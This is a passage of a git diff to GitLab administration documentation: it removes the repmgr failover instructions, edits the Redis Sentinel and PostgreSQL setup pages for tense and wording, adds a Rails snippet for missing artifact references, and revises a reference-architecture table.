-1. Exit the database prompt by typing `\q` and Enter. - -1. Verify the cluster is initialized with one node: - - ```shell - gitlab-ctl repmgr cluster show - ``` - - The output should be similar to the following: - - ```plaintext - Role | Name | Upstream | Connection String - ----------+----------|----------|---------------------------------------- - * master | HOSTNAME | | host=HOSTNAME user=gitlab_repmgr dbname=gitlab_repmgr - ``` - -1. Note down the hostname or IP address in the connection string: `host=HOSTNAME`. We will - refer to the hostname in the next section as `MASTER_NODE_NAME`. If the value - is not an IP address, it will need to be a resolvable name (via DNS or - `/etc/hosts`) - -##### Secondary nodes - -1. Set up the repmgr standby: - - ```shell - gitlab-ctl repmgr standby setup MASTER_NODE_NAME - ``` - - Do note that this will remove the existing data on the node. The command - has a wait time. - - The output should be similar to the following: - - ```console - # gitlab-ctl repmgr standby setup MASTER_NODE_NAME - Doing this will delete the entire contents of /var/opt/gitlab/postgresql/data - If this is not what you want, hit Ctrl-C now to exit - To skip waiting, rerun with the -w option - Sleeping for 30 seconds - Stopping the database - Removing the data - Cloning the data - Starting the database - Registering the node with the cluster - ok: run: repmgrd: (pid 19068) 0s - ``` - -1. Verify the node now appears in the cluster: - - ```shell - gitlab-ctl repmgr cluster show - ``` - - The output should be similar to the following: - - ```plaintext - Role | Name | Upstream | Connection String - ----------+---------|-----------|------------------------------------------------ - * master | MASTER | | host=MASTER_NODE_NAME user=gitlab_repmgr dbname=gitlab_repmgr - standby | STANDBY | MASTER | host=STANDBY_HOSTNAME user=gitlab_repmgr dbname=gitlab_repmgr - ``` - -Repeat the above steps on all secondary nodes. - -#### Database checkpoint - -Before moving on, make sure the databases are configured correctly. Run the -following command on the **primary** node to verify that replication is working -properly: - -```shell -gitlab-ctl repmgr cluster show -``` - -The output should be similar to: - -```plaintext -Role | Name | Upstream | Connection String -----------+--------------|--------------|-------------------------------------------------------------------- -* master | MASTER | | host=MASTER port=5432 user=gitlab_repmgr dbname=gitlab_repmgr - standby | STANDBY | MASTER | host=STANDBY port=5432 user=gitlab_repmgr dbname=gitlab_repmgr -``` - -If the 'Role' column for any node says "FAILED", check the -[Troubleshooting section](#troubleshooting) before proceeding. - -Also, check that the check master command works successfully on each node: - -```shell -su - gitlab-consul -gitlab-ctl repmgr-check-master || echo 'This node is a standby repmgr node' -``` - -This command relies on exit codes to tell Consul whether a particular node is a master -or secondary. The most important thing here is that this command does not produce errors. -If there are errors it's most likely due to incorrect `gitlab-consul` database user permissions. -Check the [Troubleshooting section](#troubleshooting) before proceeding. - -### Repmgr failover procedure - -By default, if the master database fails, `repmgrd` should promote one of the -standby nodes to master automatically, and Consul will update PgBouncer with -the new master. - -If you need to failover manually, you have two options: - -**Shutdown the current master database** - -Run: - -```shell -gitlab-ctl stop postgresql -``` - -The automated failover process will see this and failover to one of the -standby nodes. - -**Or perform a manual failover** - -1. Ensure the old master node is not still active. -1. Login to the server that should become the new master and run: - - ```shell - gitlab-ctl repmgr standby promote - ``` - -1. If there are any other standby servers in the cluster, have them follow - the new master server: - - ```shell - gitlab-ctl repmgr standby follow NEW_MASTER - ``` - -#### Geo secondary site considerations - -When a Geo secondary site is replicating from a primary site that uses `repmgr` and `PgBouncer`, [replicating through PgBouncer is not supported](https://github.com/pgbouncer/pgbouncer/issues/382#issuecomment-517911529) and the secondary must replicate directly from the leader node in the `repmgr` cluster. Therefore, when there is a failover in the `repmgr` cluster, you will need to manually re-point your secondary site to replicate from the new leader with: - -```shell -sudo gitlab-ctl replicate-geo-database --host=<new_leader_ip> --replication-slot=<slot_name> -``` - -Otherwise, the replication will not happen anymore, even if the original node gets re-added as a follower node. This will re-sync your secondary site database and may take a long time depending on the amount of data to sync. You may also need to run `gitlab-ctl reconfigure` if replication is still not working after re-syncing. - -### Repmgr Restore procedure - -If a node fails, it can be removed from the cluster, or added back as a standby -after it has been restored to service. - -#### Remove a standby from the cluster - - From any other node in the cluster, run: - - ```shell - gitlab-ctl repmgr standby unregister --node=X - ``` - - where X is the value of node in `repmgr.conf` on the old server. - - To find this, you can use: - - ```shell - awk -F = '$1 == "node" { print $2 }' /var/opt/gitlab/postgresql/repmgr.conf - ``` - - It will output something like: - - ```plaintext - 959789412 - ``` - - Then you will use this ID to unregister the node: - - ```shell - gitlab-ctl repmgr standby unregister --node=959789412 - ``` - -#### Add a node as a standby server - - From the standby node, run: - - ```shell - gitlab-ctl repmgr standby follow NEW_MASTER - gitlab-ctl restart repmgrd - ``` - - WARNING: - When the server is brought back online, and before - you switch it to a standby node, repmgr will report that there are two masters. - If there are any clients that are still attempting to write to the old master, - this will cause a split, and the old master will need to be resynced from - scratch by performing a `gitlab-ctl repmgr standby setup NEW_MASTER`. - -#### Add a failed master back into the cluster as a standby node - - Once `repmgrd` and PostgreSQL are running, the node will need to follow the new - as a standby node. - - ```shell - gitlab-ctl repmgr standby follow NEW_MASTER - ``` - - Once the node is following the new master as a standby, the node needs to be - [unregistered from the cluster on the new master node](#remove-a-standby-from-the-cluster). - - Once the old master node has been unregistered from the cluster, it will need - to be setup as a new standby: - - ```shell - gitlab-ctl repmgr standby setup NEW_MASTER - ``` - - Failure to unregister and read the old master node can lead to subsequent failovers - not working. - -### Alternate configurations - -#### Database authorization - -By default, we give any host on the database network the permission to perform -repmgr operations using PostgreSQL's `trust` method. If you do not want this -level of trust, there are alternatives. - -You can trust only the specific nodes that will be database clusters, or you -can require md5 authentication. - -#### Trust specific addresses - -If you know the IP address, or FQDN of all database and PgBouncer nodes in the -cluster, you can trust only those nodes. - -In `/etc/gitlab/gitlab.rb` on all of the database nodes, set -`repmgr['trust_auth_cidr_addresses']` to an array of strings containing all of -the addresses. - -If setting to a node's FQDN, they must have a corresponding PTR record in DNS. -If setting to a node's IP address, specify it as `XXX.XXX.XXX.XXX/32`. - -For example: - -```ruby -repmgr['trust_auth_cidr_addresses'] = %w(192.168.1.44/32 db2.example.com) -``` - -#### MD5 Authentication - -If you are running on an untrusted network, repmgr can use md5 authentication -with a [`.pgpass` file](https://www.postgresql.org/docs/11/libpq-pgpass.html) -to authenticate. - -You can specify by IP address, FQDN, or by subnet, using the same format as in -the previous section: - -1. On the current master node, create a password for the `gitlab` and - `gitlab_repmgr` user: - - ```shell - gitlab-psql -d template1 - template1=# \password gitlab_repmgr - Enter password: **** - Confirm password: **** - template1=# \password gitlab - ``` - -1. On each database node: - - 1. Edit `/etc/gitlab/gitlab.rb`: - 1. Ensure `repmgr['trust_auth_cidr_addresses']` is **not** set - 1. Set `postgresql['md5_auth_cidr_addresses']` to the desired value - 1. Set `postgresql['sql_replication_user'] = 'gitlab_repmgr'` - 1. Reconfigure with `gitlab-ctl reconfigure` - 1. Restart PostgreSQL with `gitlab-ctl restart postgresql` - - 1. Create a `.pgpass` file. Enter the `gitlab_repmgr` password twice to - when asked: - - ```shell - gitlab-ctl write-pgpass --user gitlab_repmgr --hostuser gitlab-psql --database '*' - ``` - -1. On each PgBouncer node, edit `/etc/gitlab/gitlab.rb`: - 1. Ensure `gitlab_rails['db_password']` is set to the plaintext password for - the `gitlab` database user - 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect - ## Troubleshooting ### Consul and PostgreSQL changes not taking effect @@ -1387,25 +985,10 @@ Due to the potential impacts, `gitlab-ctl reconfigure` only reloads Consul and P To restart either service, run `gitlab-ctl restart SERVICE` -For PostgreSQL, it is usually safe to restart the master node by default. Automatic failover defaults to a 1 minute timeout. Provided the database returns before then, nothing else needs to be done. To be safe, you can stop `repmgrd` on the standby nodes first with `gitlab-ctl stop repmgrd`, then start afterwards with `gitlab-ctl start repmgrd`. +For PostgreSQL, it is usually safe to restart the master node by default. Automatic failover defaults to a 1 minute timeout. Provided the database returns before then, nothing else needs to be done. On the Consul server nodes, it is important to [restart the Consul service](../consul.md#restart-consul) in a controlled manner. -### `gitlab-ctl repmgr-check-master` command produces errors - -If this command displays errors about database permissions it is likely that something failed during -install, resulting in the `gitlab-consul` database user getting incorrect permissions. Follow these -steps to fix the problem: - -1. On the master database node, connect to the database prompt - `gitlab-psql -d template1` -1. Delete the `gitlab-consul` user - `DROP USER "gitlab-consul";` -1. Exit the database prompt - `\q` -1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) and the user will be re-added with the proper permissions. -1. Change to the `gitlab-consul` user - `su - gitlab-consul` -1. Try the check command again - `gitlab-ctl repmgr-check-master`. - -Now there should not be errors. If errors still occur then there is another problem. - ### PgBouncer error `ERROR: pgbouncer cannot connect to server` You may get this error when running `gitlab-rake gitlab:db:configure` or you diff --git a/doc/administration/postgresql/standalone.md b/doc/administration/postgresql/standalone.md index cca46a2ea8c..b21625acb56 100644 --- a/doc/administration/postgresql/standalone.md +++ b/doc/administration/postgresql/standalone.md @@ -17,8 +17,8 @@ together with Omnibus GitLab. This is recommended as part of our 1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab package you want using *steps 1 and 2* from the GitLab downloads page. - Do not complete any other steps on the download page. -1. Generate a password hash for PostgreSQL. This assumes you will use the default - username of `gitlab` (recommended). The command will request a password +1. Generate a password hash for PostgreSQL. This assumes you are using the default + username of `gitlab` (recommended). The command requests a password and confirmation. Use the value that is output by this command in the next step as the value of `POSTGRESQL_PASSWORD_HASH`. @@ -31,14 +31,12 @@ together with Omnibus GitLab. This is recommended as part of our - `POSTGRESQL_PASSWORD_HASH` - The value output from the previous step - `APPLICATION_SERVER_IP_BLOCKS` - A space delimited list of IP subnets or IP - addresses of the GitLab application servers that will connect to the + addresses of the GitLab application servers that connect to the database. Example: `%w(123.123.123.123/32 123.123.123.234/32)` ```ruby # Disable all components except PostgreSQL - roles ['postgres_role'] - repmgr['enable'] = false - consul['enable'] = false + roles(['postgres_role']) prometheus['enable'] = false alertmanager['enable'] = false pgbouncer_exporter['enable'] = false @@ -59,12 +57,9 @@ together with Omnibus GitLab. This is recommended as part of our gitlab_rails['auto_migrate'] = false ``` - NOTE: - The role `postgres_role` was introduced with GitLab 10.3 - 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. 1. Note the PostgreSQL node's IP address or hostname, port, and - plain text password. These will be necessary when configuring the GitLab + plain text password. These are necessary when configuring the GitLab application servers later. 1. [Enable monitoring](replication_and_failover.md#enable-monitoring) diff --git a/doc/administration/pseudonymizer.md b/doc/administration/pseudonymizer.md index 4aa73212e43..533ebe0ad2f 100644 --- a/doc/administration/pseudonymizer.md +++ b/doc/administration/pseudonymizer.md @@ -27,7 +27,7 @@ be textually exported. This ensures that: To configure the Pseudonymizer, you need to: - Provide a manifest file that describes which fields should be included or - pseudonymized ([example `manifest.yml` file](https://gitlab.com/gitlab-org/gitlab/tree/master/config/pseudonymizer.yml)). + pseudonymized ([example `manifest.yml` file](https://gitlab.com/gitlab-org/gitlab/-/tree/master/config/pseudonymizer.yml)). A default manifest is provided with the GitLab installation, using a relative file path that resolves from the Rails root. Alternatively, you can use an absolute file path. - Use an object storage and specify the connection parameters in the `pseudonymizer.upload.connection` configuration option. diff --git a/doc/administration/raketasks/check.md b/doc/administration/raketasks/check.md index 8d2ca103c82..7f344a00f72 100644 --- a/doc/administration/raketasks/check.md +++ b/doc/administration/raketasks/check.md @@ -34,10 +34,11 @@ exactly which repositories are causing the trouble. - Receiving an error when trying to push code - `remote: error: cannot lock ref` - A 500 error when viewing the GitLab dashboard or when accessing a specific project. -### Check all GitLab repositories +### Check project code repositories -This task loops through all repositories on the GitLab server and runs the -integrity check described previously. +This task loops through the project code repositories and runs the integrity check +described previously. If a project uses a pool repository, that will also be checked. +Other types of Git repositories [are not checked](https://gitlab.com/gitlab-org/gitaly/-/issues/3643). **Omnibus Installation** @@ -246,6 +247,41 @@ end p "#{uploads_deleted} remote objects were destroyed." ``` +### Delete references to missing artifacts + +`gitlab-rake gitlab:artifacts:check VERBOSE=1` detects when artifacts (or `job.log` files): + +- Are deleted outside of GitLab. +- Have references still in the GitLab database. + +When this scenario is detected, the Rake task displays an error message. For example: + +```shell +Checking integrity of Job artifacts +- 3..8: Failures: 2 + - Job artifact: 3: #<Errno::ENOENT: No such file or directory @ rb_sysopen - /var/opt/gitlab/gitlab-rails/shared/artifacts/4e/07/4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/2021_05_26/5/3/job.log> + - Job artifact: 8: #<Errno::ENOENT: No such file or directory @ rb_sysopen - /var/opt/gitlab/gitlab-rails/shared/artifacts/4e/07/4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/2021_05_26/6/8/job.log> +Done! + +``` + +To delete these references to missing local artifacts (`job.log` files): + +1. Open the [GitLab Rails Console](../operations/rails_console.md#starting-a-rails-console-session). +1. Run the following Ruby code: + + ```ruby + artifacts_deleted = 0 + ::Ci::JobArtifact.all.each do |artifact| ### Iterate artifacts + # next if artifact.file.filename != "job.log" ### Uncomment if only `job.log` files' references are to be processed + next if artifact.file.exists? ### Skip if the file reference is valid + artifacts_deleted += 1 + puts "#{artifact.id} #{artifact.file.path} is missing." ### Allow verification before destroy + # artifact.destroy! ### Uncomment to actually destroy + end + puts "Count of identified/destroyed invalid references: #{artifacts_deleted}" + ``` + ### Delete references to missing LFS objects If `gitlab-rake gitlab:lfs:check VERBOSE=1` detects LFS objects that exist in the database diff --git a/doc/administration/read_only_gitlab.md b/doc/administration/read_only_gitlab.md index 698da80a07c..c8931eb79df 100644 --- a/doc/administration/read_only_gitlab.md +++ b/doc/administration/read_only_gitlab.md @@ -19,10 +19,10 @@ The configuration for doing so depends on your desired outcome. The first thing you'll want to accomplish is to ensure that no changes can be made to your repositories. There's two ways you can accomplish that: -- Either stop Unicorn/Puma to make the internal API unreachable: +- Either stop Puma to make the internal API unreachable: ```shell - sudo gitlab-ctl stop puma # or unicorn + sudo gitlab-ctl stop puma ``` - Or, open up a Rails console: @@ -46,19 +46,19 @@ made to your repositories. There's two ways you can accomplish that: ## Shut down the GitLab UI If you don't mind shutting down the GitLab UI, then the easiest approach is to -stop `sidekiq` and `puma`/`unicorn`, and you'll effectively ensure that no +stop `sidekiq` and `puma`, and you'll effectively ensure that no changes can be made to GitLab: ```shell sudo gitlab-ctl stop sidekiq -sudo gitlab-ctl stop puma # or unicorn +sudo gitlab-ctl stop puma ``` When you're ready to revert this: ```shell sudo gitlab-ctl start sidekiq -sudo gitlab-ctl start puma # or unicorn +sudo gitlab-ctl start puma ``` ## Make the database read-only diff --git a/doc/administration/redis/replication_and_failover.md b/doc/administration/redis/replication_and_failover.md index 20a9fbd7d68..9fde91903e8 100644 --- a/doc/administration/redis/replication_and_failover.md +++ b/doc/administration/redis/replication_and_failover.md @@ -42,7 +42,7 @@ There should be no more than one Sentinel on the same machine though. You also need to take into consideration the underlying network topology, making sure you have redundant connectivity between Redis / Sentinel and -GitLab instances, otherwise the networks will become a single point of +GitLab instances, otherwise the networks become a single point of failure. Running Redis in a scaled environment requires a few things: @@ -73,7 +73,7 @@ whole cluster down, invalidating the failover effort. ## Recommended setup -For a minimal setup, you will install the Omnibus GitLab package in `3` +For a minimal setup, you need to install the Omnibus GitLab package in `3` **independent** machines, both with **Redis** and **Sentinel**: - Redis Primary + Sentinel @@ -84,7 +84,7 @@ If you are not sure or don't understand why and where the amount of nodes come from, read [Redis setup overview](#redis-setup-overview) and [Sentinel setup overview](#sentinel-setup-overview). -For a recommended setup that can resist more failures, you will install +For a recommended setup that can resist more failures, you need to install the Omnibus GitLab package in `5` **independent** machines, both with **Redis** and **Sentinel**: @@ -99,9 +99,9 @@ the Omnibus GitLab package in `5` **independent** machines, both with You must have at least `3` Redis servers: `1` primary, `2` Replicas, and they need to each be on independent machines (see explanation above). -You can have additional Redis nodes, that will help survive a situation +You can have additional Redis nodes, that helps to survive a situation where more nodes goes down. Whenever there is only `2` nodes online, a failover -will not be initiated. +is not initiated. As an example, if you have `6` Redis nodes, a maximum of `3` can be simultaneously down. @@ -117,7 +117,7 @@ in a failover situation, any **Replica** can be promoted as the new **Primary** the Sentinel servers. The replication requires authentication, so you need to define a password to -protect all Redis nodes and the Sentinels. They will all share the same +protect all Redis nodes and the Sentinels. All of them share the same password, and all instances must be able to talk to each other over the network. @@ -130,7 +130,7 @@ of Sentinels agreeing a node is down) to be able to start a failover. Whenever the **quorum** is met, the **majority** of all known Sentinel nodes need to be available and reachable, so that they can elect the Sentinel **leader** -who will take all the decisions to restore the service availability by: +who takes all the decisions to restore the service availability by: - Promoting a new **Primary** - Reconfiguring the other **Replicas** and make them point to the new **Primary** @@ -150,7 +150,7 @@ consensus algorithm to be effective in the case of a failure. In a `3` nodes topology, you can only afford `1` Sentinel node going down. Whenever the **majority** of the Sentinels goes down, the network partition -protection prevents destructive actions and a failover **will not be started**. +protection prevents destructive actions and a failover **is not started**. Here are some examples: @@ -159,11 +159,11 @@ Here are some examples: The **Leader** election can sometimes fail the voting round when **consensus** is not achieved (see the odd number of nodes requirement above). In that case, -a new attempt will be made after the amount of time defined in +a new attempt is made after the amount of time defined in `sentinel['failover_timeout']` (in milliseconds). NOTE: -We will see where `sentinel['failover_timeout']` is defined later. +We can see where `sentinel['failover_timeout']` is defined later. The `failover_timeout` variable has a lot of different use cases. According to the official documentation: @@ -183,7 +183,7 @@ the official documentation: - The maximum time a failover in progress waits for all the replicas to be reconfigured as replicas of the new primary. However even after this time - the replicas will be reconfigured by the Sentinels anyway, but not with + the replicas are reconfigured by the Sentinels anyway, but not with the exact parallel-syncs progression as specified. ## Configuring Redis @@ -195,7 +195,7 @@ If you already have Redis installed and running, read how to [switch from a single-machine installation](#switching-from-an-existing-single-machine-installation). NOTE: -Redis nodes (both primary and replica) will need the same password defined in +Redis nodes (both primary and replica) need the same password defined in `redis['password']`. At any time during a failover the Sentinels can reconfigure a node and change its status from primary to replica and vice versa. @@ -218,14 +218,14 @@ The requirements for a Redis setup are the following: ### Switching from an existing single-machine installation -If you already have a single-machine GitLab install running, you will need to +If you already have a single-machine GitLab install running, you need to replicate from this machine first, before de-activating the Redis instance inside it. -Your single-machine install will be the initial **Primary**, and the `3` others +Your single-machine install is the initial **Primary**, and the `3` others should be configured as **Replica** pointing to this machine. -After replication catches up, you will need to stop services in the +After replication catches up, you need to stop services in the single-machine install, to rotate the **Primary** to one of the new nodes. Make the required changes in configuration and restart the new nodes again. @@ -259,7 +259,7 @@ If you fail to replicate first, you may loose data (unprocessed background jobs) # sure you add extra firewall rules to prevent unauthorized access. redis['bind'] = '10.0.0.1' - # Define a port so Redis can listen for TCP requests which will allow other + # Define a port so Redis can listen for TCP requests which allows other # machines to connect to it. redis['port'] = 6379 @@ -303,7 +303,7 @@ Read more about [roles](https://docs.gitlab.com/omnibus/roles/). # sure you add extra firewall rules to prevent unauthorized access. redis['bind'] = '10.0.0.2' - # Define a port so Redis can listen for TCP requests which will allow other + # Define a port so Redis can listen for TCP requests which allows other # machines to connect to it. redis['port'] = 6379 @@ -333,8 +333,8 @@ You can specify multiple roles like sentinel and Redis as: Read more about [roles](https://docs.gitlab.com/omnibus/roles/). These values don't have to be changed again in `/etc/gitlab/gitlab.rb` after -a failover, as the nodes will be managed by the Sentinels, and even after a -`gitlab-ctl reconfigure`, they will get their configuration restored by +a failover, as the nodes are managed by the Sentinels, and even after a +`gitlab-ctl reconfigure`, they get their configuration restored by the same Sentinels. ### Step 3. Configuring the Redis Sentinel instances @@ -342,7 +342,7 @@ the same Sentinels. NOTE: If you are using an external Redis Sentinel instance, be sure to exclude the `requirepass` parameter from the Sentinel -configuration. This parameter will cause clients to report `NOAUTH +configuration. This parameter causes clients to report `NOAUTH Authentication required.`. [Redis Sentinel 3.2.x does not support password authentication](https://github.com/antirez/redis/issues/3279). @@ -362,8 +362,8 @@ multiple machines with the Sentinel daemon. --- -1. SSH into the server that will host Redis Sentinel. -1. **You can omit this step if the Sentinels will be hosted in the same node as +1. SSH into the server that hosts Redis Sentinel. +1. **You can omit this step if the Sentinels is hosted in the same node as the other Redis instances.** [Download/install](https://about.gitlab.com/install/) the @@ -389,7 +389,7 @@ multiple machines with the Sentinel daemon. # The IP of the primary Redis node. redis['master_ip'] = '10.0.0.1' - # Define a port so Redis can listen for TCP requests which will allow other + # Define a port so Redis can listen for TCP requests which allows other # machines to connect to it. redis['port'] = 6379 @@ -437,7 +437,7 @@ multiple machines with the Sentinel daemon. ## ## - The maximum time a failover in progress waits for all the replica to be ## reconfigured as replicas of the new primary. However even after this time - ## the replicas will be reconfigured by the Sentinels anyway, but not with + ## the replicas are reconfigured by the Sentinels anyway, but not with ## the exact parallel-syncs progression as specified. # sentinel['failover_timeout'] = 60000 ``` @@ -511,7 +511,7 @@ If you enable Monitoring, it must be enabled on **all** Redis servers. retry_join: %w(Y.Y.Y.Y consul1.gitlab.example.com Z.Z.Z.Z), } - # Set the network addresses that the exporters will listen on + # Set the network addresses that the exporters listen on node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' ``` @@ -528,7 +528,7 @@ In a real world usage, you would also set up firewall rules to prevent unauthorized access from other machines and block traffic from the outside (Internet). -We will use the same `3` nodes with **Redis** + **Sentinel** topology +We use the same `3` nodes with **Redis** + **Sentinel** topology discussed in [Redis setup overview](#redis-setup-overview) and [Sentinel setup overview](#sentinel-setup-overview) documentation. @@ -540,11 +540,11 @@ Here is a list and description of each **machine** and the assigned **IP**: - `10.0.0.4`: GitLab application Please note that after the initial configuration, if a failover is initiated -by the Sentinel nodes, the Redis nodes will be reconfigured and the **Primary** -will change permanently (including in `redis.conf`) from one node to the other, +by the Sentinel nodes, the Redis nodes are reconfigured and the **Primary** +changes permanently (including in `redis.conf`) from one node to the other, until a new failover is initiated again. -The same thing will happen with `sentinel.conf` that will be overridden after the +The same thing happens with `sentinel.conf` that is overridden after the initial execution, after any new sentinel node starts watching the **Primary**, or a failover promotes a different **Primary** node. @@ -691,7 +691,7 @@ To make this work with Sentinel: ``` NOTE: -For each persistence class, GitLab will default to using the +For each persistence class, GitLab defaults to using the configuration specified in `gitlab_rails['redis_sentinels']` unless overridden by the previously described settings. @@ -726,7 +726,7 @@ redis_replica_role['enable'] = true # enable only one of them # When Redis primary or Replica role are enabled, the following services are # enabled/disabled. Note that if Redis and Sentinel roles are combined, both -# services will be enabled. +# services are enabled. # The following services are disabled sentinel['enable'] = false diff --git a/doc/administration/redis/replication_and_failover_external.md b/doc/administration/redis/replication_and_failover_external.md index 2716d9bba37..141da2f79ec 100644 --- a/doc/administration/redis/replication_and_failover_external.md +++ b/doc/administration/redis/replication_and_failover_external.md @@ -21,7 +21,7 @@ The following are the requirements for providing your own Redis instance: [requirements page](../../install/requirements.md). - Standalone Redis or Redis high availability with Sentinel are supported. Redis Cluster is not supported. -- Managed Redis from cloud providers such as AWS ElastiCache will work. If these +- Managed Redis from cloud providers such as AWS ElastiCache works fine. If these services support high availability, be sure it is **not** the Redis Cluster type. Note the Redis node's IP address or hostname, port, and password (if required). @@ -53,13 +53,13 @@ Note the Redis node's IP address or hostname, port, and password (if required). This is the documentation for configuring a scalable Redis setup when you have installed Redis all by yourself and not using the bundled one that comes with the Omnibus packages, although using the Omnibus GitLab packages is -highly recommend as we optimize them specifically for GitLab, and we will take +highly recommend as we optimize them specifically for GitLab, and we take care of upgrading Redis to the latest supported version. Note also that you may elect to override all references to `/home/git/gitlab/config/resque.yml` in accordance with the advanced Redis settings outlined in -[Configuration Files Documentation](https://gitlab.com/gitlab-org/gitlab/blob/master/config/README.md). +[Configuration Files Documentation](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/README.md). We cannot stress enough the importance of reading the [replication and failover](replication_and_failover.md) documentation of the @@ -76,7 +76,7 @@ requirements: (e.g., one from an internal network). - Since Redis 3.2, you must define a password to receive external connections (`requirepass`). -- If you are using Redis with Sentinel, you will also need to define the same +- If you are using Redis with Sentinel, you also need to define the same password for the replica password definition (`masterauth`) in the same instance. In addition, read the prerequisites as described in the @@ -176,7 +176,7 @@ primary with IP `10.0.0.1` (some settings might overlap with the primary): sentinel monitor gitlab-redis 10.0.0.1 6379 2 ## Define with `sentinel down-after-milliseconds` the time in `ms` - ## that an unresponsive server will be considered down. + ## that an unresponsive server is considered down. sentinel down-after-milliseconds gitlab-redis 10000 ## Define a value for `sentinel failover_timeout` in `ms`. This has multiple @@ -197,7 +197,7 @@ primary with IP `10.0.0.1` (some settings might overlap with the primary): ## ## * The maximum time a failover in progress waits for all the replicas to be ## reconfigured as replicas of the new primary. However even after this time - ## the replicas will be reconfigured by the Sentinels anyway, but not with + ## the replicas are reconfigured by the Sentinels anyway, but not with ## the exact parallel-syncs progression as specified. sentinel failover_timeout 30000 ``` @@ -218,7 +218,7 @@ The following steps should be performed in the GitLab application server which ideally should not have Redis or Sentinels in the same machine: 1. Edit `/home/git/gitlab/config/resque.yml` following the example in - [resque.yml.example](https://gitlab.com/gitlab-org/gitlab/blob/master/config/resque.yml.example), and uncomment the Sentinel lines, pointing to + [resque.yml.example](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/resque.yml.example), and uncomment the Sentinel lines, pointing to the correct server credentials: ```yaml @@ -249,7 +249,7 @@ In a real world usage, you would also set up firewall rules to prevent unauthorized access from other machines, and block traffic from the outside ([Internet](https://gitlab.com/gitlab-org/gitlab-foss/uploads/c4cc8cd353604bd80315f9384035ff9e/The_Internet_IT_Crowd.png)). -For this example, **Sentinel 1** will be configured in the same machine as the +For this example, **Sentinel 1** is configured in the same machine as the **Redis Primary**, **Sentinel 2** and **Sentinel 3** in the same machines as the **Replica 1** and **Replica 2** respectively. @@ -261,11 +261,11 @@ Here is a list and description of each **machine** and the assigned **IP**: - `10.0.0.4`: GitLab application Please note that after the initial configuration, if a failover is initiated -by the Sentinel nodes, the Redis nodes will be reconfigured and the **Primary** -will change permanently (including in `redis.conf`) from one node to the other, +by the Sentinel nodes, the Redis nodes are reconfigured and the **Primary** +changes permanently (including in `redis.conf`) from one node to the other, until a new failover is initiated again. -The same thing will happen with `sentinel.conf` that will be overridden after the +The same thing happens with `sentinel.conf` that is overridden after the initial execution, after any new sentinel node starts watching the **Primary**, or a failover promotes a different **Primary** node. diff --git a/doc/administration/reference_architectures/10k_users.md b/doc/administration/reference_architectures/10k_users.md index e4a699b962c..4627b27a45e 100644 --- a/doc/administration/reference_architectures/10k_users.md +++ b/doc/administration/reference_architectures/10k_users.md @@ -17,29 +17,34 @@ full list of reference architectures, see | Service | Nodes | Configuration | GCP | AWS | Azure | |--------------------------------------------|-------------|-------------------------|------------------|--------------|-----------| -| External load balancing node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | -| Consul* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | -| PostgreSQL* | 3 | 8 vCPU, 30 GB memory | `n1-standard-8` | `m5.2xlarge` | `D8s v3` | -| PgBouncer* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | -| Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | -| Redis - Cache** | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` | -| Redis - Queues / Shared State** | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` | -| Redis Sentinel - Cache** | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `c5.large` | `A1 v2` | -| Redis Sentinel - Queues / Shared State** | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `c5.large` | `A1 v2` | +| External load balancing node(3) | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| Consul(1) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| PostgreSQL(1) | 3 | 8 vCPU, 30 GB memory | `n1-standard-8` | `m5.2xlarge` | `D8s v3` | +| PgBouncer(1) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| Internal load balancing node(3) | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| Redis - Cache(2) | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` | +| Redis - Queues / Shared State(2) | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` | +| Redis Sentinel - Cache(2) | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `c5.large` | `A1 v2` | +| Redis Sentinel - Queues / Shared State(2) | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `c5.large` | `A1 v2` | | Gitaly | 3 | 16 vCPU, 60 GB memory | `n1-standard-16` | `m5.4xlarge` | `D16s v3` | | Praefect | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | -| Praefect PostgreSQL* | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| Praefect PostgreSQL(1) | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | | Sidekiq | 4 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` | | GitLab Rails | 3 | 32 vCPU, 28.8 GB memory | `n1-highcpu-32` | `c5.9xlarge` | `F32s v2` | | Monitoring node | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` | -| Object storage | n/a | n/a | n/a | n/a | n/a | -| NFS server | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` | +| Object 